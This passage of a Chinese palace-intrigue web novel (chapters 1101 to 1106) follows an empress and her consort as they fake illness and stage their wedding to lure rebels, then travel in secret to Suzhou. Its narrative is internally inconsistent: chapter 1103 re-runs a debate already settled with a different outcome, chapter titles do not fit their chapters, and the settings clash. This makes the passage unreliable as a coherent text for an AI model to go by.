他走到御案前,铺开一张江南地图,手指重重地点在了苏州的位置。 “孔志谦和李显,以为他们藏得很好。他们以为,我们所有的注意力,都会被这场盛大的婚礼所吸引。他们以为,他们选择了一个最好的时机,最好的地点。” “他们却不知道,当他们自以为是猎人的时候,他们,也早已成了我眼中的……猎物!” 他抬起头,看着已经惊得说不出话来的杜如晦和慕容嫣,嘴角勾起一抹自信而冷酷的笑容。 “朕,要亲自去一趟江南。” “什么?!陛下,您……您要亲自去江南?!” 这一次,不止是杜如晦,就连林臻,都惊得变了脸色。 “不行!绝对不行!”林臻想也不想,便断然拒绝,“嫣儿,你疯了吗?江南现在是什么地方?是龙潭虎穴!孔志谦和李显在那里布下了天罗地网,就等着我们往里钻。你是一国之君,万金之躯,怎么能亲身犯险?!” 他的声音,因为激动和担忧,都有些变了调。 这是他第一次,如此严厉地,当着外人的面,反驳慕容嫣的决定。 杜如晦也从震惊中反应过来,噗通一声又跪了下去,老泪纵横地哭喊道: “陛下,三思啊!王爷说得对,江南之地,如今凶险万分,您万万不可亲身涉险啊!大乾可以没有江南,但不能没有您啊!老臣……老臣恳请陛下,收回成命!” 看着眼前两个男人如出一辙的、紧张到极点的模样,慕容嫣心中,既是温暖,又是无奈。 她知道,他们都是真的在为她的安危着想。 但她,也有着自己的,不得不去的理由。 她没有立刻回答,而是走到杜如晦面前,亲自将他扶了起来。 “杜相,您先起来。听朕把话说完。” 她的声音,很平静,却带着一种不容置疑的力量。 杜如晦颤颤巍巍地站起身,却依旧是一脸的惶恐与不赞同。 慕容嫣转过身,看向林臻,凤眸中满是认真与坚定。 “夫君,你先别急着反对。你听我说。” 她拉着林臻的手,走到一旁的软榻上坐下,然后才缓缓开口,将自己的想法,一一道来。 “我知道,你们都担心我的安危。但是,你们想过没有,这一次,我们面对的敌人,到底是谁?” 她没有等他们回答,便自顾自地说了下去。 “我们的敌人,不是孔志谦,甚至也不是那个前朝太子李显。我们真正的敌人,是人心。” “孔志谦为什么要拉上李显?因为李显有大义的名分。他要用这个名分,来撬动那些对大乾不满的人心。而我们要赢,就不能只靠武力镇压。因为武力,是杀不尽人心的。你杀了一个李显,他们明天就能再找出一个李显。我们必须,从根子上,彻底打垮他们的大义,让他们师出无名!” 林臻的眉头,依旧紧锁,但他没有再打断她,而是认真地听着。 慕容嫣继续说道:“那我们要如何打垮他们的大义?很简单,用一个比他们更大的大义,去压倒他们!” “李显的大义,是前朝正统。而朕的大义,是什么?” 她的目光,变得锐利而明亮。 “是天下万民!是国泰民安!” “孔志谦和李显,他们躲在阴暗的角落里,煽动叛乱,会给江南带来什么?只会带来战火、死亡和流离失所!而朕,作为大乾的皇帝,朕去江南,是去安抚百姓,是去平定祸乱,是去给他们带去安稳和希望!” “朕要让全天下的百姓都亲眼看到,到底谁,才是真正为他们着想的君主!到底谁,才是真正能给他们带来好日子的皇帝!” “当百姓们的心,都向着朕,向着大乾的时候,李显那个所谓的正统,还值几个钱?他那面复国的大旗,还能举得起来吗?” 这番话,掷地有声,振聋发聩! 就连一直忧心忡忡的杜如晦,听完之后,眼中都忍不住露出了激赏与震撼的神色。 他从未想过,这位年轻的女帝,竟然有如此深远的政治眼光和如此魄力! 以“民心”对“正统”,以“阳谋”对“阴谋”! 这确实,是破解眼前这个死局的,唯一,也是最好的办法! 林臻也被慕容嫣的这番话,深深地触动了。 他不得不承认,他心爱的妻子,在政治上的敏锐和果决,甚至已经超越了他。 他之前想的,是如何用计谋,将孔志谦和李显一网打尽。这依旧是停留在“术”的层面。 而慕容嫣,却已经看到了“道”的层面。 她要的,不只是一场军事上的胜利,更是一场政治上的完胜!她要借着这次危机,彻底地,将大乾的民心,拧成一股绳! 可是…… 道理他都懂。 但一想到要让她置身于那样的险境之中,他的心,就像被一只无形的大手紧紧地攥住,疼得他无法呼吸。 “不行。”他依旧摇了摇头,声音沙哑,“嫣儿,你的想法很好。但是,太危险了。你不能去。这件事,我去。我代你去。” “你代替不了。”慕容嫣看着他,眼神无比坚定,“夫君,你是大乾的战神,是无敌的统帅。你去江南,可以平定叛乱,可以斩下李显和孔志谦的头颅。但是,你代替不了朕,去收拢人心。” “因为,你是亲王,而朕,是皇帝。” “只有朕,大乾独一无二的女皇帝,亲自出现在江南的土地上,出现在那些被谣言蛊惑的百姓面前,才能带来最强大的冲击力,才能最彻底地,粉碎敌人的所有阴谋!” 她握住林臻的手,声音软了下来,带着一丝恳求。 “夫君,我知道你担心我。但是,你也该相信我。我不是那个只会躲在你身后,需要你保护的小女孩了。我也是这个国家的君主,我也有我的责任和担当。” “这一次,就让我,和你并肩作战,好不好?” 她仰着头,凤眸中水光盈盈,既有帝王的决断,又有妻子的柔情。 第1102章 你怎么能去那种地方呢! 林臻看着她这样的眼神,心中最后的一丝坚持,也开始土崩瓦解。 他知道,她已经下定了决心。 他了解她的脾气,一旦她认定的事情,九头牛都拉不回来。 他更知道,她说得对。 这件事,非她亲去不可。 他沉默了许久,久到杜如晦都以为他要再次拒绝时,他才终于长长地叹了一口气,声音里充满了无奈和妥协。 “好,我答应你。” 听到他松口,慕容嫣的脸上,瞬间绽放出灿烂的笑容。 然而,林臻的下一句话,却让她的笑容,僵在了脸上。 “但是,我有一个条件。” 林臻的表情,变得前所未有的严肃。 “我可以让你去江南。但是,你不能以皇帝的身份去。” “什么意思?”慕容嫣愣住了。 “从现在起,直到我们从江南回来,”林臻看着她,一字一句地说道,“你,不再是女帝慕容嫣。你只是我的妻子,林夫人。” “而我,”他站起身,身上散发出一股令人心悸的、铁血的杀伐之气,“将以摄政亲王,兼天下兵马大元帅的身份,总揽此次江南平叛之一切事宜!” “你要做什么?”慕容嫣心中,升起一股不祥的预感。 “很简单。”林臻的眼中,闪烁着冰冷的、不带一丝感情的光芒,“你负责去收拢人心,唱你的白脸。而我,负责杀人,唱我的黑脸。” “他们不是想在江南举事吗?那我就给他们一个机会。我不仅要去,我还要以巡视江南防务的名义,大张旗鼓地去!” “我要让所有心怀鬼胎的人,都以为他们的机会来了,让他们一个个,都从阴暗的角落里,自己跳出来!” “然后……” 他的嘴角,勾起一抹残忍的弧度。 “……将他们,连根拔起,一网打尽!一个不留!” 杜如晦听得心惊肉跳,他这才明白林臻的真正意图。 王爷这是要……引蛇出洞,然后雷霆一击! 他要把整个江南,那些潜藏了几十年的前朝余孽、地方豪强、不服管教的世家大族,借着这次机会,来一次彻彻底底的大清洗! 好狠的手段! 好大的魄力! “不行!”慕容嫣立刻反对,“夫君,你这样太冒险了!你把自己当成了诱饵,万一……” “没有万一。”林臻打断了她,语气不容置疑,“在绝对的实力面前,任何阴谋诡计,都是笑话。他们以为自己是蛇,却不知道,他们要引的,是一头猛虎。” 他转头,看向慕容嫣,眼神重新变得温柔。 “嫣儿,相信我。我不会让你有事,我也不会让自己有事。我只是,不想再看到任何潜在的威胁,来打扰我们以后的生活。” “我答应过你,要给你一个太平盛世。这个盛世,必须是干干净净的,不能有任何杂音。” 说完,他不再给慕容嫣反对的机会,直接对杜如晦下令。 “杜相,你立刻去安排。三日后,朕与亲王,将启程南下,巡视江南。对外宣称,是为即将到来的大婚,采办江南贡品。仪仗要隆重,声势要浩大,务必让全天下的人,都知道这个消息!” “这……是,老臣遵旨!”杜如晦看着眼前这对气场全开的帝后,心中只剩下震撼和敬畏,连忙躬身领命。 杜如晦退下后,栖凤阁内,又只剩下两人。 慕容嫣看着林臻,神情复杂,又是担忧,又是感动。 “夫君,你……” “好了,什么都别说了。”林臻将她拥入怀中,轻轻拍着她的背,“从现在起,你不是皇帝,我不是亲王。我们只是一对,即将出门远游的,普通夫妻。” “你只需要想着,到了江南,要去哪里玩,要吃什么好吃的。剩下的所有事情,都交给我。” 他的声音,带着让人无比安心的力量。 慕容嫣靠在他温暖的怀里,点了点头。 她知道,一场更大的风暴,即将在江南掀起。 但她不怕。 因为,这一次,她的夫君,就在她身边。 帝后即将南巡的消息,如同一块巨石,投入了长安城这片看似平静的湖面,瞬间激起了千层巨浪。 整个朝堂,都为此震动了。 凯旋大典和论功行赏的余温还未散去,朝堂清算的风声依旧让百官心有余悸,所有人都以为接下来会是一段休养生息的平稳时期。 谁也没想到,皇帝和摄政王,竟然会在此刻,做出这样一个出人意料的决定。 南巡? 为什么要去南巡? 对外宣称的理由,是为即将到来的大婚采办贡品,顺便体察民情。 这个理由,听起来冠冕堂皇,但稍微有点政治头脑的人,都知道事情绝不简单。 采办贡品需要帝后亲临吗?一道圣旨下去,江南最好的东西,还不都得快马加鞭地送进宫里来? 体察民情?北伐刚刚结束,国库空虚,百废待兴,这个时候搞什么南巡,不是劳民伤财吗? 一时间,朝堂之上,议论纷纷,猜测四起。 一些老成持重的官员,如杜如晦、周兴等人,虽然已经被林臻提前通过气,知道了部分内情,但在朝堂之上,依旧摆出了一副忧心忡忡、屡次劝谏的模样。 “陛下,亲王殿下,南巡之事,事关重大,还请三思啊!如今国战方歇,四海安宁,实不宜大动干戈,耗费国帑!” “是啊陛下,江南路途遥远,圣驾出巡,沿途护卫、供给,皆是天文数字。如今国库正需用钱之际,此举……恐非良策啊!” 而另外一些嗅觉敏锐,或是本就心怀鬼胎的官员,则从这件事里,品出了一丝不同寻常的味道。 他们隐隐感觉到,这看似不合时宜的南巡背后,恐怕隐藏着巨大的风暴。 尤其是那些在江南有着盘根错节利益的世家大族,更是心中惴惴不安。 皇帝和摄政王,这对以手段狠辣著称的夫妻,突然要去江南,到底想干什么? 难道是崔家倒台之后,他们还不满足,要借着这次机会,对江南的士绅豪族,再来一次大清洗? 一时间,无数的密信,通过各种渠道,从长安飞速地送往江南各地。 整个大乾的上层,都因为这一个南巡的决定,而变得暗流涌动。 然而,无论外界如何猜测,如何劝阻,栖凤阁中的那两位,却似乎完全不受影响。 林臻说到做到,真的将所有政务都推给了内阁,自己则专心致志地,当起了“陪玩”的角色。 而慕容嫣,也乐得清闲,仿佛真的忘掉了自己皇帝的身份,变成了一个即将远游的小妻子,每日里兴致勃勃地,和林臻讨论着到了江南,要去哪里,要看什么。 “夫君,我听说苏州的园林,甲于天下,我们到时候一定要去看看。” “还有杭州的西湖,书上说‘欲把西湖比西子,淡妆浓抹总相宜’,也不知是不是真的有那么美。” “对了,还有金陵的秦淮河,那里的画舫,是不是真的像诗里写的那样,‘商女不知亡国恨,隔江犹唱后庭花’?” 她掰着手指,一样一样地数着,凤眸中闪烁着期待的光芒,像个从未出过远门的小姑娘。 林臻看着她这副难得一见的、充满活力的样子,心中又是宠溺,又是心疼。 他知道,她这是在用这种方式,来掩盖内心的紧张和压力。 她越是表现得轻松,就说明她心中,对这次江南之行,越是看重。 “好,都依你。”他笑着刮了刮她的鼻子,“你想去哪,我们就去哪。你想看什么,我就陪你看什么。不过,秦淮河的画舫就算了,那种地方,鱼龙混杂,不适合你去。” “为什么不适合?我也是去体察民情嘛。”慕容嫣不服气地嘟起了嘴。 “体察民情可以,但不能去那种地方。”林臻板起脸,故作严肃地说道,“你是我林臻的夫人,怎么能去那种烟花之地。要去,也只能我一个人去。” “你好大的胆子!”慕容嫣杏眼一瞪,伸手就去揪他的耳朵,“你还想一个人去?你想去找那些‘商女’唱曲儿是不是?” “不敢,不敢。”林臻连忙求饶,“为夫只是开个玩笑。我的心里,只有嫣儿你一个,哪还容得下别的女人。” 两人笑闹成一团。 第1103章 你代替不了我去收拢人心 慕容嫣的话,让林臻陷入了沉思。 他看着她那双眼眸,里面有对他的依赖,也有作为帝王的坚定。 他知道,她说的都对。 他能用武力解决问题,但人心这种东西,武力是解决不了的。 他去江南,能杀敌,能震慑,但却无法像她一样,站在百姓面前,用她独有的身份和魅力,去彻底瓦解那些谣言,去凝聚人心。 可即便如此,让他眼睁睁看着她去冒险,他心里还是像刀绞一样疼。 他想说服自己,她说的没错,这是最好的办法。 但他心里那个声音一直在喊:不行!绝对不行! 他深吸一口气,努力平复内心的狂躁。他知道自己不能表现得太失态,尤其是在杜如晦面前。 “嫣儿,我明白你的意思。” 林臻的声音有些沙哑,他握紧了慕容嫣的手,感觉到她手心的温度,才稍稍安定了一些。 “但是,江南的局势远比你想象的要复杂。孔志谦那个人,阴险毒辣,他既然敢设下这样的局,就不会给你任何可乘之机。你去了,就是羊入虎口。” 慕容嫣没有说话,只是静静地看着他,眼中写满了信任和坚持。 杜如晦也再次开口,声音带着哭腔:“陛下,王爷说得句句在理啊!您是万金之躯,怎能以身犯险?就算……就算是为了大乾的江山社稷,您也该保重龙体啊!” 慕容嫣轻轻拍了拍林臻的手,示意他稍安勿躁。 她转头看向杜如晦,语气温和却不容置疑:“杜相,朕知道你们都是为了朕好。但正是因为凶险,朕才更要亲自去。如果朕连这点胆气都没有,又如何能让天下百姓信服?又如何能让那些宵小之辈,彻底断了念想?” 她顿了顿,目光再次回到林臻身上,眼神中充满了恳求: “夫君,我知道你担心。但你有没有想过,如果我不去,如果只是派兵镇压,那孔志谦和李显的目的,也就达到了。他们就是要制造混乱,就是要让百姓觉得大乾朝廷无能,无法平息内乱。到时候,即便我们平定了叛乱,民心也散了,元气也伤了。这难道是你希望看到的吗?” 林臻的心,被她的话狠狠地撞了一下。 他明白,她说的每一句,都直指问题的核心。 他一直以来,都习惯用最直接、最有效的方式解决问题,那就是武力。 但他忽略了,有些问题,武力是解决不了的。 他闭上眼睛,脑海中浮现出慕容嫣那双坚定而又带着柔情的凤眸。 他知道,她不是在胡闹,她是在用一个帝王的眼光,去看待这场危机。 “好。”林臻突然开口,声音中带着一丝疲惫,但更多的是一种无奈的妥协。 他睁开眼,看着慕容嫣,眼神中充满了复杂的情绪,“既然你执意要去,那我陪你去。” “夫君!”慕容嫣的眼中闪过一丝惊喜,她知道,这是林臻最大的让步。 杜如晦却再次惊呼:“王爷!您也要去?!这……这万万不可啊!您是摄政王,是三军统帅,更是陛下的夫君!您若是也去了江南,那京城的安危,谁来负责?!” 林臻摆了摆手,示意他不必多言。他看着慕容嫣,语气坚定: “你说的没错,你代替不了我去收拢人心,但我却可以代替你去冲锋陷阵。江南是龙潭虎穴,我不能让你一个人去闯。” 他顿了顿,目光再次扫过杜如晦,语气带着一丝不容置疑的威严: “杜相,长安有你和周兴坐镇,还有禁卫军和‘夜枭’的精锐,足以保长安无虞。至于那些想趁机作乱的宵小之辈,你尽管放手去查,去抓,去杀!不必有任何顾虑!” “可是……”杜如晦还想说什么,但看着林臻那双锐利如刀的眼睛,最终还是把话咽了回去。他知道,这对帝后已经下定了决心,他再说什么,也无济于事。 慕容嫣的脸上,终于露出了真心的笑容。 她紧紧地握住林臻的手,眼中充满了感动。 她知道,他这是在用自己的方式,来支持她,保护她。 “既然如此,那我们就来好好筹划一下。” 林臻的语气,恢复了往日的沉稳和冷静。他看向杜如晦,吩咐道: “杜相,你立刻安排‘夜枭’,将江南的细作全部启动,给我摸清楚孔志谦和李显的所有底细,包括他们的藏身之处,他们的盟友,以及他们手底下有多少人马!” “同时,对外放出消息,就说陛下龙体抱恙,需要静养。至于婚礼,暂时搁置。这样一来,那些叛贼就会以为我们已经乱了阵脚,反而会放松警惕。” 杜如晦闻言,眼中闪过一丝精光。他明白了林臻的意图。 这是要将计就计,引蛇出洞! “老臣遵旨!”他躬身领命,转身快步退下,开始着手安排。 杜如晦离开后,栖凤阁内再次恢复了宁静。 慕容嫣依旧靠在林臻的怀里,她看着他那张沉思的侧脸,心中泛起阵阵涟漪。 他总是这样,在她最需要的时候,给她最坚定的支持。 “夫君,我们真的要……取消婚礼吗?”她轻声问道,语气中带着一丝不舍。她知道,这场婚礼对他们来说意味着什么。 林臻低头,亲了亲她的发顶,柔声道: “傻丫头,怎么会取消呢?我们只是对外放出假消息,让他们以为我们取消了而已。等到我们平定了江南的叛乱,我们再风风光光地补办一场,好不好?” “嗯。”慕容嫣点了点头,脸上露出了甜蜜的笑容。她知道,他从来都不会让她失望。 “不过……”林臻的语气突然变得有些促狭,“这几天,你可要好好配合我,装出一副病恹恹的样子。不然,那些老狐狸可不会轻易相信。” 慕容嫣闻言,“噗嗤”一声笑了出来。 她伸出手指,轻轻戳了戳他的胸膛,嗔怪道: “你才病恹恹呢!我可是堂堂大乾女帝,岂能轻易示弱?” “那可不行。”林臻握住她的手指,放在唇边吻了吻,“为了迷惑敌人,你就是得示弱。而且,这样一来,我就能名正言顺地,寸步不离地守着你,照顾你。” 他的话语中,带着一丝不易察觉的温柔和宠溺。 慕容嫣的心,瞬间被融化了。 她知道,他这是在用自己的方式,来表达对她的爱意。 “那……好吧。”她红着脸,轻轻点了点头。 接下来的几天,栖凤阁内,真的上演了一出“帝后患病,卧床静养”的戏码。 第1104章 兵者诡道也 慕容嫣身穿那件极致玄黑的“神凤降世裙”,在宽大的裙摆和柔软的棉质面料下,她显得更加清瘦虚弱。 裙摆之上的金色凤凰,也仿佛失去了往日的辉光,黯淡了不少。 她躺在凤榻上,脸色苍白,偶尔咳上几声,声音虚弱,让前来探望的官员们,都信以为真,纷纷表示担忧。 林臻则寸步不离地守在她身边,衣不解带,亲自喂药,嘘寒问暖,一副焦急万分的模样。 他穿着一身玄色的软缎常服,少了铠甲的冰冷,多了几分温和,但眼神中,却时常闪过一丝不易察觉的锐利。 外界谣言四起,有人说女帝积劳成疾,命不久矣;有人说摄政王林臻在北疆受了重伤,回京后病情恶化,甚至有可能危及性命。 各种流言蜚语,甚嚣尘上,让整个长安城都笼罩在一片不安之中。 而这些谣言,也被“夜枭”的探子,原原本本地传到了江南。 苏州,一处僻静的宅院内。 孔志谦听着手下传来的消息,脸上露出了得意的笑容。 “大乾女帝病重,林臻重伤?”他把玩着手中的茶盏,语气中充满了轻蔑,“看来,我的毒计,果然奏效了。这慕容嫣,终究是个妇人,经不起一点风浪。至于林臻,哼,就算他是战神,也终究是肉体凡胎,怎么可能毫发无伤?” 他转头看向身旁,一位身穿粗布麻衣、面容清瘦的青年。 青年虽然衣着朴素,但眉宇间却带着一丝久居上位的贵气,正是前朝太子李显。 “殿下,看来天佑我李氏啊。”孔志谦拱手笑道, “大乾帝后相继病重,这正是我们举事的大好时机!民心动荡,朝廷混乱,届时,殿下振臂一呼,天下义士,必将云集响应!” 李显的眼中,也闪烁着兴奋的光芒。他等这一天,等了整整二十年! “孔先生运筹帷幄,本宫佩服!”李显激动地说道,“那我们是否可以提前举事?趁着他们病重,一举攻下江南,然后兵锋直指长安!” 孔志谦摇了摇头,眼中闪过一丝阴鸷: “殿下切莫急躁。兵者,诡道也。越是看似有利的时机,越要小心谨慎。大乾帝后相继病重,这消息虽然振奋人心,但也不能尽信。我们必须等到他们大婚之日,届时,天下所有人的目光,都会集中在长安。那时,才是我们真正发力的最佳时机!” “而且……”孔志谦的嘴角勾起一抹冷酷的弧度, “据我们安插在长安的眼线回报,那慕容嫣,竟然还在强撑着,准备在初八那天,与林臻补办婚礼!哈哈哈哈,真是不知死活!她以为,一场盛大的婚礼,就能掩盖她病重的消息吗?她以为,她还能像以前一样,用她那所谓的‘母仪天下’,来收拢人心吗?” “她却不知道,这正是她最大的破绽!我们要在她最得意的时候,给她最沉重的一击!我们要让她知道,她所拥有的一切,都不过是镜花水月,不堪一击!” 李显闻言,眼中也露出了兴奋而残忍的光芒。 他已经迫不及待地想要看到,慕容嫣和林臻那张惊慌失措的脸了。 “孔先生所言甚是!”李显激动地一拍桌子,“那就依孔先生所言,初八大婚之日,我们准时举事!让天下人都看看,谁才是这江山真正的主人!” “殿下英明!”孔志谦拱手笑道,眼中闪烁着阴谋得逞的光芒。 他知道,他已经成功地将李显,这颗他精心培养的棋子,推上了舞台。 而长安城内,林臻和慕容嫣,也正在紧锣密鼓地筹备着他们的“婚礼”。 栖凤阁内。 慕容嫣穿着那件黑金色的“神凤降世裙”,在柔和的烛光下,裙摆上的金色凤凰,仿佛活了过来,熠熠生辉。 她慵懒地靠在凤榻上,手中拿着一本奏章,却迟迟没有翻开。 林臻坐在她身边,手里拿着一把温润的玉梳,正细心地为她梳理着那头乌黑的长发。 “夫君,你说,孔志谦会相信我们真的病重了吗?”慕容嫣轻声问道,声音中带着一丝担忧。 林臻放下玉梳,将她搂入怀中,轻轻地吻了吻她的发顶,柔声道: “他会信的。他太了解你,也太了解我了。他知道我们都是那种不轻易示弱的人。所以,当我们真的示弱的时候,他反而会深信不疑。” “而且……”林臻的眼中闪过一丝冷意,“他太急于求成了。他等了二十年,好不容易才等到李显这颗棋子。他巴不得我们现在就乱了阵脚,好让他趁虚而入。” “那……我们真的要在初八那天,举行婚礼吗?”慕容嫣再次问道,语气中带着一丝复杂。 “当然。”林臻的语气坚定,“婚礼照常举行,而且,要办得比原计划更盛大,更奢华。我们要让所有人都知道,大乾的帝后,恩爱有加,国泰民安。这样一来,当孔志谦和李显在江南举事的时候,他们就会显得更加跳梁小丑。” “可是,这样一来,我们岂不是会成为众矢之的?”慕容嫣有些担忧。 “那又如何?”林臻冷笑一声,“他们想当众打我们的脸,那我们,就当众打他们的脸!我们要让他们知道,大乾的帝后,不是他们可以随意挑衅的!” 他顿了顿,目光变得深邃:“而且,这样一来,我们也能趁机,将那些潜伏在暗处的宵小之辈,一网打尽。” 慕容嫣闻言,眼中闪过一丝明悟。她明白了林臻的意图。 他这是要借着这场婚礼,将所有心怀不轨的人,都吸引出来,然后,一举歼灭! “那……我们什么时候出发去江南?”她轻声问道。 “不急。”林臻的嘴角勾起一抹神秘的笑容,“我们先在长安,给他们演一出好戏。等到他们以为我们已经彻底放松警惕的时候,我们再给他们一个惊喜。” 他顿了顿,语气中带着一丝冷酷:“他们想在我们的婚礼上,送一份大礼。那我们,就给他们一份,让他们永生难忘的‘回礼’!” 慕容嫣的心中,顿时充满了期待。 她知道,一场好戏,即将上演。 她靠在林臻的怀里,感受着他身上散发出的温暖和安全感。 她知道,只要有他在,无论面对什么样的艰难险阻,她都能从容应对。 窗外,夜色渐浓。 栖凤阁内,烛光摇曳,将两人的身影,拉得长长的,交织在一起,显得无比温馨。 第1105章 鱼儿上钩了 长安城,皇宫内外,张灯结彩,一片喜气洋洋。 按照林臻和慕容嫣的计划,大乾帝后的婚礼,并没有因为“女帝病重”的谣言而取消,反而办得比原计划更加盛大,更加奢华。 整个长安城,都沉浸在一种前所未有的狂欢之中。 百姓们奔走相告,兴奋不已。他们知道,这场婚礼,不仅仅是帝后的结合,更是大乾国力昌盛、天下太平的象征。 婚礼前一日,林臻和慕容嫣坐在栖凤阁内,听着杜如晦汇报京城内外的布置。 慕容嫣穿着那件黑金色的“神凤降世裙”,裙摆上的金色凤凰,在烛光下熠熠生辉。 她脸上带着一丝淡淡的倦意,但眼神中却充满了坚定。 林臻则穿着一身玄色常服,手里把玩着一块玉佩,神色平静。 “陛下,王爷,”杜如晦恭敬地说道,“按照您的吩咐,京城内外,已经布置得滴水不漏。所有可疑之人,都已被‘夜枭’秘密监视。城门守卫也已加强,任何风吹草动,都逃不过我们的眼睛。” “嗯。”林臻点了点头,“那些潜伏在暗处的宵小之辈,有没有什么异动?” “回王爷,”杜如晦眼中闪过一丝精光,“我们刻意放出陛下病重,婚礼取消的谣言,果然让一些人放松了警惕。这几日,长安城内,有几处暗桩开始频繁活动,似乎在传递什么消息。” “很好。”林臻的嘴角勾起一抹冷笑,“让他们继续传递。我们就是要让他们以为,我们已经乱了阵脚,好让他们自投罗网。” 慕容嫣也开口问道:“江南那边呢?孔志谦和李显,有没有上钩?” “回陛下,”杜如晦说道,“根据‘夜枭’传回来的最新密报,孔志谦和李显已经决定,在初八大婚之日,同时在江南举事。他们似乎对我们的谣言深信不疑,认为这是他们最好的机会。” “哼。”慕容嫣冷哼一声,“他们以为,他们能瞒得过朕的眼睛吗?” “陛下英明!”杜如晦连忙恭维道。 林臻则看向杜如晦,语气严肃:“杜相,明天婚礼之时,你务必坐镇中枢,协调各方。一旦有任何异动,立刻通知我。” “老臣遵旨!” 杜如晦离开后,慕容嫣靠在林臻的怀里,轻声问道:“夫君,你真的有把握吗?” “当然。”林臻轻轻抚摸着她的长发,柔声道,“兵者诡道也。孔志谦以为他算无遗策,殊不知,他的一切行动,都在我们的掌控之中。” “那我们……什么时候去江南?” “明天。”林臻的眼中闪过一丝锐利的光芒,“婚礼结束,我们立刻动身。” 慕容嫣闻言,心中一动。她知道,真正的战斗,即将开始。 第二天,大婚之日。 天刚蒙蒙亮,整个皇宫就沸腾了起来。 宫女太监们穿梭不停,忙碌地布置着婚礼现场。 栖凤阁内,慕容嫣早早地便被唤醒。 她穿着那件黑金色的“神凤降世裙”,柔软的棉质面料贴合着她的身体,轻盈而舒适。 裙摆上的金色凤凰,在晨曦的映照下,流淌着一种内敛而温润的辉光。 几名经验丰富的嬷嬷和宫女,正在为她梳妆打扮。 她们小心翼翼地为她描眉画眼,涂抹胭脂。 慕容嫣看着镜子中那个美艳绝伦的自己,心中却没有任何喜悦。 她知道,这场婚礼,只是一个开始。 林臻推门而入,他穿着一身大红色的亲王礼服,上面用金线绣着麒麟图腾,显得威武不凡。 他一进门,便看到镜子中的慕容嫣,瞬间被惊艳到了。 “嫣儿,你真美。”他走到她身边,轻轻握住她的手,眼中充满了柔情。 慕容嫣抬头,看着他那张英俊的脸庞,心中泛起阵阵涟漪。她知道,他这是在给她力量。 “夫君,你也很英俊。”她轻声说道。 林臻笑了笑,他从怀中掏出一个精致的锦盒,里面装着一枚凤头金钗。 金钗上镶嵌着一颗巨大的夜明珠,流光溢彩,璀璨夺目。 “这是我特意为你准备的。”他将金钗插在她的发髻上,夜明珠的光芒,瞬间照亮了她的脸庞。 “真好看。”慕容嫣看着镜子中的自己,眼中闪过一丝惊喜。 “你喜欢就好。”林臻柔声道。 吉时已到,婚礼正式开始。 慕容嫣穿着那件黑金色的“神凤降世裙”,外面罩着最隆重的黑金色霞帔。 裙幅浩荡的墨金色苏锦拖尾,从她的凤椅之后,与林臻身下同样材质、同样长度的墨麒麟亲王袍服的拖尾,交织在一起,迤逦而下,铺满了整个巨大的丹陛,形成一片充满了无上威严与绝对权力的、黑金交织的壮丽图景。 帝后二人,并肩而坐,接受着百官的朝拜。 整个婚礼过程,庄重而肃穆。百官们纷纷献上贺礼,祝贺帝后新婚大喜。 林臻和慕容嫣脸上都带着淡淡的笑容,但眼神中,却时常闪过一丝不易察觉的锐利。 他们知道,他们的敌人,正在暗中窥视着他们。 婚礼结束后,林臻和慕容嫣并没有像往常一样,回到栖凤阁。 而是秘密换上便装,乘坐一辆不起眼的马车,连夜离开了长安城,直奔江南。 与此同时,杜如晦也按照林臻的吩咐,将那些在婚礼上表现异常的官员,秘密逮捕。 他知道,一场腥风血雨,即将到来。 而远在江南的孔志谦和李显,还沉浸在他们的阴谋之中,对即将到来的危险,一无所知。 他们以为,他们已经成功地欺骗了林臻和慕容嫣。他们以为,他们已经掌握了主动权。 ...... 江南,苏州城。 夜色深沉,万籁俱寂。 一处僻静的宅院内,孔志谦和李显,正在紧张地布置着举事前的最后准备。 李显身穿一身粗布麻衣,但眉宇间却带着一丝掩盖不住的兴奋和紧张。 他等这一天,等了整整二十年! “孔先生,一切都准备妥当了吗?”李显焦急地问道。 孔志谦点了点头,脸上带着一丝阴鸷的笑容:“殿下放心,一切都在计划之中。我们已经联络了江南各地的旧部和豪强,他们都已摩拳擦掌,只等殿下一声令下,便会立刻响应。” “而且……”孔志谦的嘴角勾起一抹冷酷的弧度, “我们已经派人,在各处散布谣言,说大乾帝后病重,朝廷混乱,正是复国的大好时机。百姓们对大乾朝廷本就不满,再加上我们煽风点火,他们必然会站在我们这边。” 李显闻言,眼中闪过一丝狂热:“孔先生运筹帷幄,本宫佩服!待本宫复国之后,定不忘先生大恩!” 第1106章 你以为你赢了? “殿下客气了。”孔志谦拱手笑道,“为李氏江山复国,乃是老臣毕生所愿。” 他顿了顿,语气中带着一丝阴险:“不过,殿下,我们还要提防林臻和慕容嫣。他们虽然病重,但毕竟是帝后。我们不能掉以轻心。” “哼。”李显冷哼一声,“他们现在病重,根本不足为惧。等到我们攻下江南,兵锋直指长安,他们就算想反抗,也无力回天了!” 孔志谦笑了笑,没有再说什么。 他知道,李显已经被胜利冲昏了头脑,根本听不进任何劝告。 不过,这正是他希望看到的。 他要的,就是利用李显的野心,来达到自己的目的。 而此时,林臻和慕容嫣,已经乔装打扮,秘密抵达了苏州城。 他们选择了一处不起眼的客栈,作为落脚点。 栖凤阁内,慕容嫣依旧是那件黑金色的“神凤降世裙”。 那神凤降世裙,在这样柔和而局部的光线下,墨黑的苏锦底料仿佛与窗外的夜色融为了一体,呈现出一种极致的、沉静的玄色,唯有织入其中的金色棉绒与金线绣成的凤凰暗纹,在微弱的光晕中,隐隐流淌着一种如同暗夜星河般细碎而持久的光泽,不耀眼,却深邃。 苏锦工艺赋予这件棉质睡裙的轻盈特性,在此刻展现得淋漓尽致,宽大的裙幅随着她静止的姿态自然垂坠,贴合着她纤细的身形,丝毫不显臃肿或沉重。 那长达五丈的苏锦拖尾,在她身后迤逦铺开。 宽大的喇叭袖一只软软垂在身侧,袖口的金线流苏拂过地面,另一只则被她抬起,纤长的手指轻轻搭在雕凤窗棂冰凉的木格上。 她左手拇指上的墨玉扳指闪过一丝幽深的光。 林臻则穿着一身普通的布衣,脸上带着一张普通的人皮面具,将他英俊的容貌完全遮盖。 “夫君,我们真的要住在这里吗?”慕容嫣看着简陋的客栈,眼中闪过一丝无奈。 林臻笑了笑,轻轻握住她的手,柔声道:“傻丫头,我们这是在微服私访,自然不能住得太招摇。而且,这里越是简陋,越不容易引起别人的注意。” “可是……”慕容嫣的语气中带着一丝担忧,“孔志谦和李显就在这里,我们这样贸然闯入,会不会太危险了?” “危险?”林臻的嘴角勾起一抹冷笑,“他们以为他们是猎人,殊不知,他们,才是我们眼中的猎物。” 